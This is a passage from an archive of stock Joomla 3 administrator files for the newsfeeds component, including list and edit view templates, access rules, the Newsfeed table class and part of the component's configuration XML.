				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="newsfeedList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="5%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_NEWSFEEDS_NUM_ARTICLES_HEADING', 'numarticles', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_NEWSFEEDS_CACHE_TIME_HEADING', 'a.cache_time', $listDirn, $listOrder); ?>
						</th>
						<?php if ($assoc) : ?>
						<th width="5%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_NEWSFEEDS_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="11">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$ordering   = ($listOrder == 'a.ordering');
					$canCreate  = $user->authorise('core.create',     'com_newsfeeds.category.' . $item->catid);
					$canEdit    = $user->authorise('core.edit',       'com_newsfeeds.category.' . $item->catid);
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0;
					$canEditOwn = $user->authorise('core.edit.own',   'com_newsfeeds.category.' . $item->catid) && $item->created_by == $user->id;
					$canChange  = $user->authorise('core.edit.state', 'com_newsfeeds.category.' . $item->catid) && $canCheckin;
					?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td class="center">
							<div class="btn-group">
								<?php echo JHtml::_('jgrid.published', $item->published, $i, 'newsfeeds.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
								<?php // Create dropdown items and render the dropdown list.
								if ($canChange)
								{
									JHtml::_('actionsdropdown.' . ((int) $item->published === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'newsfeeds');
									JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'newsfeeds');
									echo JHtml::_('actionsdropdown.render', $this->escape($item->name));
								}
								?>
							</div>
						</td>
						<td class="nowrap has-context">
							<div class="pull-left">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'newsfeeds.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit || $canEditOwn) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_newsfeeds&task=newsfeed.edit&id=' . (int) $item->id); ?>">
										<?php echo $this->escape($item->name); ?></a>
								<?php else : ?>
										<?php echo $this->escape($item->name); ?>
								<?php endif; ?>
								<span class="small">
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								</span>
								<div class="small">
									<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
								</div>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->numarticles; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo (int) $item->cache_time; ?>
						</td>
						<?php if ($assoc) : ?>
						<td class="hidden-phone hidden-tablet">
							<?php if ($item->association) : ?>
								<?php echo JHtml::_('newsfeed.association', $item->id); ?>
							<?php endif; ?>
						</td>
						<?php endif; ?>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form if user is allowed ?>
			<?php if ($user->authorise('core.create', 'com_newsfeeds')
				&& $user->authorise('core.edit', 'com_newsfeeds')
				&& $user->authorise('core.edit.state', 'com_newsfeeds')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_NEWSFEEDS_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_newsfeeds/views/newsfeeds/tmpl/modal.php000060400000011347152455305270015300 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('NewsfeedsHelperRoute', JPATH_ROOT . '/components/com_newsfeeds/helpers/route.php');

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$app = JFactory::getApplication();

$function  = $app->input->getCmd('function', 'jSelectNewsfeed');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds&layout=modal&tmpl=component&function=' . $function); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped table-condensed">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				$iconStates = array(
					-2 => 'icon-trash',
					0  => 'icon-unpublish',
					1  => 'icon-publish',
					2  => 'icon-archive',
				);
				?>
				<?php foreach ($this->items as $i => $item) : ?>
					<?php if ($item->language && JLanguageMultilang::isEnabled())
					{
						$tag = strlen($item->language);
						if ($tag == 5)
						{
							$lang = substr($item->language, 0, 2);
						}
						elseif ($tag == 6)
						{
							$lang = substr($item->language, 0, 3);
						}
						else {
							$lang = '';
						}
					}
					elseif (!JLanguageMultilang::isEnabled())
					{
						$lang = '';
					}
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
						</td>
						<td>
							<a href="javascript:void(0)" onclick="if (window.parent) window.parent.<?php echo $this->escape($function); ?>('<?php echo $item->id; ?>', '<?php echo $this->escape(addslashes($item->name)); ?>', '<?php echo $this->escape($item->catid); ?>', null, '<?php echo $this->escape(NewsfeedsHelperRoute::getNewsfeedRoute($item->id, $item->catid, $item->language)); ?>', '<?php echo $this->escape($lang); ?>', null);">
							<?php echo $this->escape($item->name); ?></a>
							<div class="small">
								<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'CMD'); ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_newsfeeds/views/newsfeeds/tmpl/default_batch_footer.php000060400000001364152455305270020345 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-tag-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('newsfeed.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_newsfeeds/views/newsfeed/tmpl/modal_params.php000060400000001613152455305270016453 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) :
	?>
	<div class="tab-pane" id="params-<?php echo $name; ?>">
	<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
		<p class="alert alert-info"><?php echo $this->escape(JText::_($fieldSet->description)); ?></p>
	<?php endif; ?>
			<?php foreach ($this->form->getFieldset($name) as $field) : ?>
				<div class="control-group">
					<div class="control-label"><?php echo $field->label; ?></div>
					<div class="controls"><?php echo $field->input; ?></div>
				</div>
			<?php endforeach; ?>
	</div>
<?php endforeach; ?>
com_newsfeeds/views/newsfeed/tmpl/modal_display.php000060400000000542152455305270016635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->fieldset = 'jbasic';
echo JLayoutHelper::render('joomla.edit.fieldset', $this);
com_newsfeeds/views/newsfeed/tmpl/edit_associations.php000060400000000512152455305270017515 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_newsfeeds/views/newsfeed/tmpl/modal.php000060400000002553152455305270015114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = JFactory::getApplication()->input->getCmd('function', 'jEditNewsfeed_' . (int) $this->item->id);

// Function to update input title when changed
JFactory::getDocument()->addScriptDeclaration('
	function jEditNewsfeedModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("newsfeed-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_name").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('newsfeed.apply'); jEditNewsfeedModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('newsfeed.save'); jEditNewsfeedModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('newsfeed.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_newsfeeds/views/newsfeed/tmpl/modal_associations.php000060400000000512152455305270017664 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_newsfeeds/views/newsfeed/tmpl/edit_display.php000060400000000542152455305270016466 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->fieldset = 'jbasic';
echo JLayoutHelper::render('joomla.edit.fieldset', $this);
com_newsfeeds/views/newsfeed/tmpl/edit.php000060400000010503152455305270014737 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');

$app   = JFactory::getApplication();
$input = $app->input;

$assoc = JLanguageAssociations::isEnabled();

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "newsfeed.cancel" || document.formvalidator.isValid(document.getElementById("newsfeed-form"))) {
			Joomla.submitform(task, document.getElementById("newsfeed-form"));

			// @deprecated 4.0  The following js is not needed since 3.7.0.
			if (task !== "newsfeed.apply")
			{
				window.parent.jQuery("#newsfeedEdit' . $this->item->id . 'Modal").modal("hide");
			}
		}
	};
');

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('images', 'jbasic', 'jmetadata', 'item_associations');

// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo JRoute::_('index.php?option=com_newsfeeds&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="newsfeed-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', empty($this->item->id) ? JText::_('COM_NEWSFEEDS_NEW_NEWSFEED') : JText::_('COM_NEWSFEEDS_EDIT_NEWSFEED')); ?>
		<div class="row-fluid">
			<div class="span9">
				<div class="form-vertical">
					<?php echo $this->form->renderField('link'); ?>
					<?php echo $this->form->renderField('description'); ?>
				</div>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'images', JText::_('JGLOBAL_FIELDSET_IMAGE_OPTIONS')); ?>
		<div class="row-fluid">
			<div class="span6">
					<?php echo $this->form->renderField('images'); ?>
					<?php foreach ($this->form->getGroup('images') as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				</div>
			</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'attrib-jbasic', JText::_('JGLOBAL_FIELDSET_DISPLAY_OPTIONS')); ?>
		<?php echo $this->loadTemplate('display'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if ( ! $isModal && $assoc) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
			<?php echo $this->loadTemplate('associations'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php elseif ($isModal && $assoc) : ?>
			<div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>
	<input type="hidden" name="task" value="" />
	<input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_newsfeeds/views/newsfeed/tmpl/modal_metadata.php000060400000000506152455305270016750 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_newsfeeds/views/newsfeed/tmpl/edit_metadata.php000060400000000506152455305270016601 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_newsfeeds/views/newsfeed/tmpl/edit_params.php000060400000001613152455305270016304 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) :
	?>
	<div class="tab-pane" id="params-<?php echo $name; ?>">
	<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
		<p class="alert alert-info"><?php echo $this->escape(JText::_($fieldSet->description)); ?></p>
	<?php endif; ?>
			<?php foreach ($this->form->getFieldset($name) as $field) : ?>
				<div class="control-group">
					<div class="control-label"><?php echo $field->label; ?></div>
					<div class="controls"><?php echo $field->input; ?></div>
				</div>
			<?php endforeach; ?>
	</div>
<?php endforeach; ?>
com_newsfeeds/access.xml000060400000002715152455305270011361 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_newsfeeds">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="JACTION_EDITOWN_COMPONENT_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
</access>com_newsfeeds/tables/newsfeed.php000060400000007737152455305270013172 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Newsfeed Table class.
 *
 * @since  1.6
 */
class NewsfeedsTableNewsfeed extends JTable
{
	/**
	 * Ensure the params, metadata and images are json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata', 'images');

	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  &$db  A database connector object
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__newsfeeds', 'id', $db);

		$this->setColumnAlias('title', 'name');

		JTableObserverTags::createObserver($this, array('typeAlias' => 'com_newsfeeds.newsfeed'));
		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_newsfeeds.newsfeed'));
	}

	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		// Check for valid name.
		if (trim($this->name) == '')
		{
			$this->setError(JText::_('COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME'));

			return false;
		}

		if (empty($this->alias))
		{
			$this->alias = $this->name;
		}

		$this->alias = JApplicationHelper::stringURLSafe($this->alias, $this->language);

		if (trim(str_replace('-', '', $this->alias)) == '')
		{
			$this->alias = JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		// Check the publish down date is not earlier than publish up.
		if ((int) $this->publish_down > 0 && $this->publish_down < $this->publish_up)
		{
			$this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));

			return false;
		}

		// Clean up keywords -- eliminate extra spaces between phrases
		// and cr (\r) and lf (\n) characters from string if not empty
		if (!empty($this->metakey))
		{
			// Array of characters to remove
			$bad_characters = array("\n", "\r", "\"", '<', '>');

			// Remove bad characters
			$after_clean = StringHelper::str_ireplace($bad_characters, '', $this->metakey);

			// Create array using commas as delimiter
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				if (trim($key))
				{
					// Ignore blank keywords
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(', ', $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", '<', '>');
			$this->metadesc = StringHelper::str_ireplace($bad_characters, '', $this->metadesc);
		}

		return true;
	}

	/**
	 * Overriden JTable::store to set modified data.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$this->modified = $date->toSql();

		if ($this->id)
		{
			// Existing item
			$this->modified_by = $user->get('id');
		}
		else
		{
			// New newsfeed. A feed created and created_by field can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}

			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}

		// Verify that the alias is unique
		$table = JTable::getInstance('Newsfeed', 'NewsfeedsTable', array('dbo' => $this->_db));

		if ($table->load(array('alias' => $this->alias, 'catid' => $this->catid)) && ($table->id != $this->id || $this->id == 0))
		{
			$this->setError(JText::_('COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS'));

			return false;
		}

		// Save links as punycode.
		$this->link = JStringPunycode::urlToPunycode($this->link);

		return parent::store($updateNulls);
	}
}
com_newsfeeds/config.xml000060400000026647152455305270011377 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>

	<fieldset
		name="newsfeed"
		label="COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL"
		description="COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC"
		>

		<field
			name="newsfeed_layout"
			type="componentlayout"
			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_newsfeeds"
			view="newsfeed"
		/>
		
		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		
		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			default="5"
			filter="integer"
			showon="save_history:1"
		/>

		<field
			name="show_feed_image"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
			id="show_feed_image"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_feed_description"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
			id="show_feed_description"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_item_description"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
			id="show_item_description"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="feed_character_count"
			type="number"
			label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
			description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
			id="feed_character_count"
			default="0"
			size="6"
		/>

		<field 
			name="feed_display_order" 
			type="list"
			label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
			description="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC"
			id="feed_display_order"
			>
			<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
			<option value="asc">JGLOBAL_OLDEST_FIRST</option>
		</field>
		
		<field
			name="float_first"
			type="list"
			label="COM_NEWSFEEDS_FLOAT_FIRST_LABEL"
			description="COM_NEWSFEEDS_FLOAT_DESC"
			>
